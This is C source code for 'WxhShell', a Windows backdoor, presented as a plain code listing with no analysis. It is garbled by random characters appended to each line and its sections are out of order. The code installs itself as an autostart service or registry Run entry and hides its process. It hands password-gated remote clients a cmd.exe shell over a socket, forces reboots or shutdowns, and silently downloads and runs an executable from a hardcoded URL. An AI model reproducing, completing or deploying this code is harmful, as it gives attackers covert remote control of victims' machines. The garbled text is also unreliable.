    ExitThread(0); No|{rYYKK  
    } 3CRBu:)m  
    break; Q9V4-MC9  
    } wi >ta  
  // 关机 ~ +$><qj  
  case 'd': { 2|o$eq3t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vw 2@}#\:  
    if(Boot(SHUTDOWN)) 6%y: hLT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q &o=4  
    else { @_nhA/rlc  
    closesocket(wsh); "Jd1&FsCwX  
    ExitThread(0); ];]EK6dzG  
    } (3*Hl  
    break; >k-poBw  
    } :Djp\ e6!  
  // 获取shell SSC!BcC1  
  case 's': { MUl+Oy>  
    CmdShell(wsh); b=l}|)a  
    closesocket(wsh); pQ\ [F  
    ExitThread(0); fX|,s2-FW  
    break; l.)!jWY  
  } AVZ@?aJgF  
  // 退出 "MN'%"/  
  case 'x': { >,2],X"G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e.H"!X!0#H  
    CloseIt(wsh); X y<KvFy  
    break; xK ux5u _  
    } ".Ug A\0  
  // 离开 wQ.zj`?$(  
  case 'q': { Zt=X %M|aw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9q{dRS[A  
    closesocket(wsh); L+CSF ]  
    WSACleanup(); )HE yTHLtJ  
    exit(1); Pl6=._  
    break; ]x\wP7x  
        } :gt wvM7/B  
  } R[t[M}q  
  } ~ $&  
=)bc/309  
  // 提示信息 jT0fF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D1k]  
} XrF9*>ti?  
  } P.7B]&T6  
lU& IS?^?  
  return; iiscm\  
} DdgFBO  
h]$zub  
// shell模块句柄 &y+eE?j  
int CmdShell(SOCKET sock) p04w 83 jX  
{ 2S/7f:  
STARTUPINFO si; ZC-N4ESr  
ZeroMemory(&si,sizeof(si)); F6/bq/s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z{x -Vfd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EK^2 2vi$  
PROCESS_INFORMATION ProcessInfo; us+adS.l&  
char cmdline[]="cmd"; 2XpGgG`2`C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); * PPFk.#x  
  return 0; 1[ Pbsb  
} Q1yTDJ(2  
C5z4%,`f  
// 自身启动模式 i/Z5/(zF  
int StartFromService(void) *UC^&5:  
{ )M~5F,)  
typedef struct ?`$4ZDM  
{ |Gi/=[Tp  
  DWORD ExitStatus; 7;{F"/A  
  DWORD PebBaseAddress; gy.; "W  
  DWORD AffinityMask; 7Jk.U=vY  
  DWORD BasePriority; {`> x"Y5  
  ULONG UniqueProcessId; _6( =0::x  
  ULONG InheritedFromUniqueProcessId; -6\9B>qa  
}   PROCESS_BASIC_INFORMATION; k,,}N 9  
3*<W`yed  
PROCNTQSIP NtQueryInformationProcess; !;-x]_  
 |QdS;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [<hiOB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^M"g5+ q  
RP$A"<goP  
  HANDLE             hProcess; cW\7yZh  
  PROCESS_BASIC_INFORMATION pbi; (%1*<6ka  
*:(t.iL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $fKWB5p|()  
  if(NULL == hInst ) return 0; lk|/N^8M  
2S3F]fG0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B!0[LlF+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y\x<!_&D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Cpl)byb  
qI}Zg)q]  
  if (!NtQueryInformationProcess) return 0; -_+0[Nb.  
6822xk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tp"\  
  if(!hProcess) return 0; 0Sk{P>A  
[Pay<]c6g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =*pu+o,?  
n~Ix8|S h  
  CloseHandle(hProcess); G>j/d7  
f 36rU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dO2cgY}  
if(hProcess==NULL) return 0; EHOdst  
M6>l%[  
HMODULE hMod; +t f=  
char procName[255]; Vufw:}i+^  
unsigned long cbNeeded; _B2t|uQ  
Wo&i)S<i0F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %zGPF  
Rp#SqRy`  
  CloseHandle(hProcess); =g ]C9'I3  
QnqX/vnR  
if(strstr(procName,"services")) return 1; // 以服务启动 ,=FYf|Z  
%2.T1X%!  
  return 0; // 注册表启动 Y*6*;0Kx  
} *T3"U|0_y  
{221@ zcCq  
// 主模块 ^,3 >}PU  
int StartWxhshell(LPSTR lpCmdLine) f' eKX7R  
{ Ur@3_F  
  SOCKET wsl; Aq-v3$XL  
BOOL val=TRUE; DE[y&]/C{  
  int port=0; pP .   
  struct sockaddr_in door; -M4#dHR_!  
U[ed#9l>  
  if(wscfg.ws_autoins) Install(); l!1bmg#]$  
UCQL~  
port=atoi(lpCmdLine); ,AJd2ix  
aPbHrk*/  
if(port<=0) port=wscfg.ws_port; uo0(W3Q *  
r=vE0;7  
  WSADATA data; 2b<0g@~X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z}5XLa^  
uzS57 O%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *m;L.r`5[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eu~;G H  
  door.sin_family = AF_INET; wZ\0<skU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Bll6Rd  
  door.sin_port = htons(port); $]_=B Jyu  
#(7OvW+y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]b[ 3 th*  
closesocket(wsl); /a,q4tD@  
return 1; ,Vogo5~X  
} hX^XtIC=  
W uQdz&s>  
  if(listen(wsl,2) == INVALID_SOCKET) { *Q)+Y&qn  
closesocket(wsl); \(u P{,ML  
return 1; + 7Z%N9  
} NIgt"o[I  
  Wxhshell(wsl); giPyo"SD  
  WSACleanup(); V; ChrmE  
:%0Z  
return 0; U_:/>8})d  
R\X J  
} %c&h:7);  
3KqylC &.  
// 以NT服务方式启动 zpY8w#b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qRr;&M &t_  
{ M|\ XFO  
DWORD   status = 0; qU}[( 9~Ru  
  DWORD   specificError = 0xfffffff; g ,.iM8  
wBr0s *1I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z$q}y 79^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ay{4R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]WS 7l@  
  serviceStatus.dwWin32ExitCode     = 0; {P*RA'H3G  
  serviceStatus.dwServiceSpecificExitCode = 0; u+-}|  
  serviceStatus.dwCheckPoint       = 0; a+Z/=YUR  
  serviceStatus.dwWaitHint       = 0; "Aynt_a.  
m$U2|5un&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y+c+/L8  
  if (hServiceStatusHandle==0) return; J~~WV<6  
Alrk3I3{  
status = GetLastError(); zfS`@{;F`|  
  if (status!=NO_ERROR) *@D.=i>  
{ I!{5*~ 3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f\ Qi()  
    serviceStatus.dwCheckPoint       = 0; 4kIy4x'*  
    serviceStatus.dwWaitHint       = 0; OH&&d=~  
    serviceStatus.dwWin32ExitCode     = status; 1vX97n<}  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y M5;mPR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qLcs)&}/A  
    return; F&ux9zP  
  } -ohqw+D  
<FP&1Eg!|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IF<jq\M  
  serviceStatus.dwCheckPoint       = 0; -?j'<g0  
  serviceStatus.dwWaitHint       = 0; tFG&~tNc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >1W)J3  
} ,}J(&  
q>,i `*  
// 处理NT服务事件,比如:启动、停止 1B2>8 N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #HqXC\~n  
{ 9Y0w SOSW  
switch(fdwControl) DRal{?CH  
{ gVb;sk^  
case SERVICE_CONTROL_STOP: P#iBwmwN+.  
  serviceStatus.dwWin32ExitCode = 0; yAaMYF@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U1I2+;"#A  
  serviceStatus.dwCheckPoint   = 0; mzDbw-#  
  serviceStatus.dwWaitHint     = 0; @<h@d_8^k  
  { H>2)R 7h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);   \\6/"  
  } PKmr5FB  
  return; mkgDg y  
case SERVICE_CONTROL_PAUSE: 6?r}bs6Msx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '};pu;GA7  
  break; 2WqjNqx)6  
case SERVICE_CONTROL_CONTINUE: q5Z]Z.%3O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WSUU_^.  
  break; H|5\c=  
case SERVICE_CONTROL_INTERROGATE:  {ZB7,\  
  break; 2Lm.;l4YO  
}; Ww:,O48%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }qxw Nmx  
} ).5$c0`U&  
;~F&b:CyG  
// 标准应用程序主函数 X$)<>e]!>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T=%,^  
{ TF2'-"2Y  
x= X"4Mj0)  
// 获取操作系统版本 -uX): h!  
OsIsNt=GetOsVer(); '_>8_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 741Sd8  
D&#wn.0|E  
  // 从命令行安装 WTbq)D(&[_  
  if(strpbrk(lpCmdLine,"iI")) Install(); <<4U:  
t[ cHdI  
  // 下载执行文件 .]24V!J(1w  
if(wscfg.ws_downexe) { d[=~-[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JYc;6p$<i  
  WinExec(wscfg.ws_filenam,SW_HIDE); R `  
} c<Fr^8  
/?VwoSgV^  
if(!OsIsNt) { g[4pG`z  
// 如果时win9x,隐藏进程并且设置为注册表启动 &#_c,c;  
HideProc(); EZypqe):/C  
StartWxhshell(lpCmdLine); +8h!@  
} XcL jUz?  
else 9Zw{MM]  
  if(StartFromService()) ](-zt9, N;  
  // 以服务方式启动 x}B3h9]  
  StartServiceCtrlDispatcher(DispatchTable); [7 _1GSS1  
else hv (>9N  
  // 普通方式启动 7Ji|x{``  
  StartWxhshell(lpCmdLine); Y`3V&8X  
8#L V oR  
return 0; vY)5<z&  
} *3 8 u ~n  
n<3qr}ZG^  
RzhAX I=  
wNl{,aH@  
=========================================== wwaw|$  
h9RL(Kq{  
:J6 xYy$  
$ra q,SP  
%^Zu^uu   
S\io5|P  
" RqB 8g  
A{|^_1  
#include <stdio.h> 17la/7l<  
#include <string.h> ]-g9dV_[>j  
#include <windows.h> 4 '"C8vw.  
#include <winsock2.h> (P'{A>aHl0  
#include <winsvc.h> bY&!d.  
#include <urlmon.h> }ff+RGxLIG  
A1g.ww:  
#pragma comment (lib, "Ws2_32.lib") Nk2n&(~$  
#pragma comment (lib, "urlmon.lib") [] cF*en  
M47t(9krV  
#define MAX_USER   100 // 最大客户端连接数 Zo`_vx/{j  
#define BUF_SOCK   200 // sock buffer Gn&=<q :H  
#define KEY_BUFF   255 // 输入 buffer P_}wjz}9ZX  
w#}[=jy  
#define REBOOT     0   // 重启 uo`zAKM&A  
#define SHUTDOWN   1   // 关机 6({TG&`!]  
i/|}#yw8A  
#define DEF_PORT   5000 // 监听端口 N2 4J!L  
n,D&pl9f  
#define REG_LEN     16   // 注册表键长度 g^I?u$&E  
#define SVC_LEN     80   // NT服务名长度 k~Z;S QyN  
\?tE,\Ln  
// 从dll定义API uo9FLm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {;5\#VFg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q%r KKOX8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y]VLouzl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @B \$ me  
ZSvU1T8  
// wxhshell配置信息 WA((>Daf]  
struct WSCFG { 2Y>#FEW/  
  int ws_port;         // 监听端口 Dr K@y8  
  char ws_passstr[REG_LEN]; // 口令 n{$! ]^>  
  int ws_autoins;       // 安装标记, 1=yes 0=no A3^_'K  
  char ws_regname[REG_LEN]; // 注册表键名 L.2!Q3&  
  char ws_svcname[REG_LEN]; // 服务名 3!M|Sf<s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'C7$,H'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eHb@qKnf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 twMDEw#VL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u+ b `aB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z\r?>2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O\F$~YQ  
go9tvK  
}; Yz)+UF,  
4OeH}@a  
// default Wxhshell configuration v` h n9O  
struct WSCFG wscfg={DEF_PORT, [nA1WFfM  
    "xuhuanlingzhe", %0Ibi  
    1, BEtFFi6ot  
    "Wxhshell", @.)WS\Cv#E  
    "Wxhshell", 0oQJ}8t  
            "WxhShell Service", @d|3c7` A  
    "Wrsky Windows CmdShell Service", 2Q%*` vCuV  
    "Please Input Your Password: ", 8 qlQC.VA[  
  1, I= 2jQ>$Q  
  "http://www.wrsky.com/wxhshell.exe", J4%"38l  
  "Wxhshell.exe" #f@}$@  
    }; pz=/A  
m*|G 2  
// 消息定义模块 @4G{L8Q}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @>*r2=#14  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `y>BbJqy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~6=aoF5"3?  
char *msg_ws_ext="\n\rExit."; '>cZ7:  
char *msg_ws_end="\n\rQuit."; 068DC_  
char *msg_ws_boot="\n\rReboot..."; :.= #U  
char *msg_ws_poff="\n\rShutdown..."; XTJA"y  
char *msg_ws_down="\n\rSave to "; 8.HJoos  
J@A^k1B  
char *msg_ws_err="\n\rErr!"; Qe =8x7oIP  
char *msg_ws_ok="\n\rOK!"; kho$At)V  
;b}cn!U]  
char ExeFile[MAX_PATH]; (3WK2IM^  
int nUser = 0; !i_~<6Wa7  
HANDLE handles[MAX_USER];  {b|V;/  
int OsIsNt; Q[c:A@oW  
[]doLt;J  
SERVICE_STATUS       serviceStatus; T 9FGuit9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y[ZVi5) ,  
<Uu[nUJ  
// 函数声明 r:M0# 2   
int Install(void); RR2M+vQ  
int Uninstall(void); JmC2buO  
int DownloadFile(char *sURL, SOCKET wsh); dDA,Ps  
int Boot(int flag); ]?T,J+S  
void HideProc(void); YpgO]\/w  
int GetOsVer(void); E~c>j<'-"<  
int Wxhshell(SOCKET wsl); WMS~Bk+!  
void TalkWithClient(void *cs); 8=)9ZjfD  
int CmdShell(SOCKET sock); _\<TjGtG  
int StartFromService(void); =om<*\vsO  
int StartWxhshell(LPSTR lpCmdLine); +&r=XJ5:`p  
L|8&9F\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %%9T-+T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /[5\T2GI   
GX'S4B  
// 数据结构和表定义 M?5voV*  
SERVICE_TABLE_ENTRY DispatchTable[] = Ej $.x6:  
{ @O/"s~d-  
{wscfg.ws_svcname, NTServiceMain}, Wcbm,O4u  
{NULL, NULL} drvz [ 9;  
}; HQSFl=Q  
,#bT  
// 自我安装 ^fV-m&F)K*  
int Install(void) 85q!FpuH  
{ `_sKR,LhB  
  char svExeFile[MAX_PATH]; XqGa]/;}  
  HKEY key; cSjX/%*!m  
  strcpy(svExeFile,ExeFile); #r,!-;^'p  
cd`P'GDF  
// 如果是win9x系统,修改注册表设为自启动 g'Wr+( A_  
if(!OsIsNt) { Z 5g*'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U] P{~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <kJ`qbOU  
  RegCloseKey(key); |9Y~k,rF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y7,t "XV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L#WGOl  
  RegCloseKey(key); 9VMk?   
  return 0; &;R BG$t  
    } ^9]g5.z:  
  } qT01@Bku  
} Uu|2!}^T  
else { gH.$B'  
VR'zm\< D  
// 如果是NT以上系统,安装为系统服务 >%5GMx>m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lk[u  
if (schSCManager!=0) WpOH1[ 8v  
{ g][n1$%  
  SC_HANDLE schService = CreateService qC-4X"y+  
  ( S_ra8HY8  
  schSCManager, 5~$WSL?O)  
  wscfg.ws_svcname, HIUP =/x  
  wscfg.ws_svcdisp, zCv)%y  
  SERVICE_ALL_ACCESS,  hOYX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <nK@+4EH"o  
  SERVICE_AUTO_START, ~.#57g F"  
  SERVICE_ERROR_NORMAL, _bRgr  
  svExeFile, 0>"y)T3   
  NULL, 11Uu5e!.  
  NULL, pU<GI@gU  
  NULL, T)tTzgLD}  
  NULL, t~$8sG\  
  NULL AF, ;3G  
  ); FxT]*mo  
  if (schService!=0) *\_>=sS x;  
  { [ {HTGz@(  
  CloseServiceHandle(schService); ;Ah eeq746  
  CloseServiceHandle(schSCManager); \mZB*k)+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lk` |u$KPz  
  strcat(svExeFile,wscfg.ws_svcname); 8bf@<VTO_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E&Zt<pRf;2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fl4 0jo]  
  RegCloseKey(key); 8@){\.M  
  return 0; a p(PI?]X  
    } Bat@  
  } >;#rK@*&  
  CloseServiceHandle(schSCManager); Y5P9z{X=  
} O_ vH w^  
} WqS$C;]%  
rCb$^(w{7  
return 1; (!?%"e  
} "Bz#5kqnl  
i~3\dp  
// 自我卸载 brK7|&R<  
int Uninstall(void) b&]z^_m)  
{ @1qdnU  
  HKEY key; Nfv` )n@  
OB++5Wd  
if(!OsIsNt) { LoOw]@>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  z@~mu  
  RegDeleteValue(key,wscfg.ws_regname); 99%R/m  
  RegCloseKey(key); C' WX$!$d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3lKs>HE0  
  RegDeleteValue(key,wscfg.ws_regname); />uE)R$  
  RegCloseKey(key); ~@e=+Z  
  return 0; I,aaSBwt&2  
  } uL:NWgN  
} e;LC\*dG  
} 4q?R3 \e;  
else { ?kRx;S+  
tOZ-]>U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P)~olrf  
if (schSCManager!=0) sn Ou  
{ O&#>i]*V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b?<@  
  if (schService!=0) f3s4aARP  
  { jaIcIc=Pf  
  if(DeleteService(schService)!=0) { |QQ(1#d  
  CloseServiceHandle(schService); rl2(DA{  
  CloseServiceHandle(schSCManager); Y1F%-o  
  return 0; XsSDz}dg  
  }  Y=H_U$  
  CloseServiceHandle(schService); .bRtK+}F#  
  } E 0OHl  
  CloseServiceHandle(schSCManager); -Vs;4-B{9  
} =>&~p\Aw  
} QyrB"_dm  
*|cs_,3  
return 1; o#D'"Tn!  
} l\2"u M#7  
+i}uRO  
// 从指定url下载文件 MlLM $Y-@  
int DownloadFile(char *sURL, SOCKET wsh) ,Ww.W'#P  
{ 7#*`7 K'P!  
  HRESULT hr; Fh&USn"  
char seps[]= "/"; y'<5P~W!a  
char *token; P,#l~\  
char *file; :H]MMe  
char myURL[MAX_PATH]; LG{50sP`  
char myFILE[MAX_PATH]; @PK 1  
#miG"2ea..  
strcpy(myURL,sURL); <p?oFD_e4  
  token=strtok(myURL,seps); 8|u8J0^  
  while(token!=NULL) M+)ENv e  
  { 'b6qEU#  
    file=token; [<}W S} .  
  token=strtok(NULL,seps); zFY$^Oz"_  
  } +x?8\  
};'~@%U]/  
GetCurrentDirectory(MAX_PATH,myFILE); ^`RMf5i1m  
strcat(myFILE, "\\"); '#yIcV$  
strcat(myFILE, file); 2+K - I  
  send(wsh,myFILE,strlen(myFILE),0); D+w ?  
send(wsh,"...",3,0); ty@D3l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {@'#|]4y.  
  if(hr==S_OK) R <&U]%FD  
return 0; g3!<A*<  
else h?fp(  
return 1; @udc/J$  
=(bTS n  
} q6o}2<T@  
m6@;!*Y  
// 系统电源模块 \ >#y*W<  
int Boot(int flag) Z4{N|h?  
{ ^e80S^  
  HANDLE hToken; j#l1KO^y  
  TOKEN_PRIVILEGES tkp; fF5\\_,  
"y ;0}9]n1  
  if(OsIsNt) { K]^Jl0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XAB/S8e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7{VN27Fa_  
    tkp.PrivilegeCount = 1; 82 1 6_Qm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P` Gb }]rW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0OnqKgf  
if(flag==REBOOT) { roIc1Ax:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a,:Nlr3  
  return 0;  Sg(\+j=  
} _+Uf5,.5yU  
else { xj5MKX{CJT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y+7A?"s)  
  return 0; >QBDxm  
} Zlv`yC*r  
  } yoTx3U@  
  else {  \Awqr:A&  
if(flag==REBOOT) { !$Arc^7r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j,1cb,}=^  
  return 0; T+:GYab/  
} ! OOOc  
else { /~g.j1g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d:h X3  
  return 0; +('=Ryo T  
} #-PUm0|  
} g{hbq[>X]  
Gd|jE  
return 1; `Tr !Gj_  
} %.:]4jhk  
iP?lP= M  
// win9x进程隐藏模块 7V"Jfh4_  
void HideProc(void) H$,wg!kY!  
{ NH,4>mV$!  
%D ,(S-Uj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !!])~+4pP  
  if ( hKernel != NULL ) d81[hT}q  
  { h|EHK!<"8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x`K"1E{2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); irn }.e  
    FreeLibrary(hKernel); Eq5X/Hx  
  } 0}\8,U  
k[1w] l8  
return; ItG|{Bo  
} n&E/{o(  
eM^Y  
// 获取操作系统版本 "gXvnl  
int GetOsVer(void) #aadnbf  
{ *#B"%;Ln  
  OSVERSIONINFO winfo; V|;os  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D ~NWP%H  
  GetVersionEx(&winfo); ASr3P5/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x' 3kHw  
  return 1; {InW%qSn_  
  else #o(@S{(NZ  
  return 0; +F^X1  
} V&d?4i4/Q  
-M-y*P)  
// 客户端句柄模块 f/i[? gw  
int Wxhshell(SOCKET wsl)  \>e>J\t:  
{ deutY.7g  
  SOCKET wsh; n:JG+1I  
  struct sockaddr_in client; i]0$ 7s9!  
  DWORD myID; wtfM }MW\  
D!bi>]Yd  
  while(nUser<MAX_USER) <-!' V,c  
{ )umW-A  
  int nSize=sizeof(client); h6e,w$IL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u6/;=]0   
  if(wsh==INVALID_SOCKET) return 1; 0Pg@%>yb~  
V`LW~P;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m8&XW2S  
if(handles[nUser]==0) R-\"^BV#Z  
  closesocket(wsh); SXmh@a"*\  
else K(}<L-cv  
  nUser++; n s&(g^  
  } ^I!gteU;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t\lx*_lr  
7 '7a`-W  
  return 0;  w1t0X{  
} !)uXCg9U  
D o!]t7Y$  
// 关闭 socket Q8bn|#`  
void CloseIt(SOCKET wsh) 6hqqZ  
{ Y67i\U>?  
closesocket(wsh); %* @hS`  
nUser--; p;{w0uld"  
ExitThread(0); 6X$iTJ[\x  
} fU4{4M+9"  
\V9);KAOj  
// 客户端请求句柄 -257g;  
void TalkWithClient(void *cs) 3$kElq[  
{ bt?)ryu  
ZHc;8|}  
  SOCKET wsh=(SOCKET)cs; 7`K)7  
  char pwd[SVC_LEN]; 9S)A6]  
  char cmd[KEY_BUFF]; :']O4v#^  
char chr[1]; E=~Ahkg  
int i,j; "QV1G'  
SrXuiiK  
  while (nUser < MAX_USER) { q^b_'We_9  
z0 _/JwJn  
if(wscfg.ws_passstr) { b]\V~ZaXG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~Nl`Zmn(A|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aB4L$M8x  
  //ZeroMemory(pwd,KEY_BUFF); @#| R{5=+  
      i=0; QK`2^  
  while(i<SVC_LEN) { "4i_}  
(OHd} YQ  
  // 设置超时 n`7n5M*  
  fd_set FdRead; & /lmg!6  
  struct timeval TimeOut; /M~rmIks  
  FD_ZERO(&FdRead); p2o6 6t  
  FD_SET(wsh,&FdRead); IR*:i{  
  TimeOut.tv_sec=8; 3S1`av(tD  
  TimeOut.tv_usec=0; +4Lj}8,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p:8]jD@}%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )1]LoEdm`  
h3kBNBI )  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =|bW >y  
  pwd=chr[0]; eR5+1b  
  if(chr[0]==0xd || chr[0]==0xa) { nB86oQ/S  
  pwd=0; 1V1T1  
  break; m{sch`bP  
  } =_H)5I_\  
  i++; .#ATI<t  
    } *wfkjG  
ak;S Ie  
  // 如果是非法用户,关闭 socket .;~K*GC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .ZOyZnr Z  
} 6c&OR2HGqO  
W[j7Vi8v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XY`2>7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .Dg'MM BM  
>eaK@u-'0  
while(1) { JZrUl^8E  
v4wXa:CJ  
  ZeroMemory(cmd,KEY_BUFF); U HUO9h  
1oIu~f{`  
      // 自动支持客户端 telnet标准   wenJ(0L|  
  j=0; %uhhQ<zs%  
  while(j<KEY_BUFF) { (3Z~EIZz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); We*c_;@<  
  cmd[j]=chr[0]; Q Ph6 p3bg  
  if(chr[0]==0xa || chr[0]==0xd) { yj{:%Km:`  
  cmd[j]=0; x+5y287#  
  break; j\8'P9~%  
  } U9p^?\-=  
  j++; %uLyL4*L(p  
    } {:9P4<%H  
 !#8=tO  
  // 下载文件 Nm/Fc   
  if(strstr(cmd,"http://")) { n;Etn!4M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A?8 29<  
  if(DownloadFile(cmd,wsh)) Yhd|1,m9f  
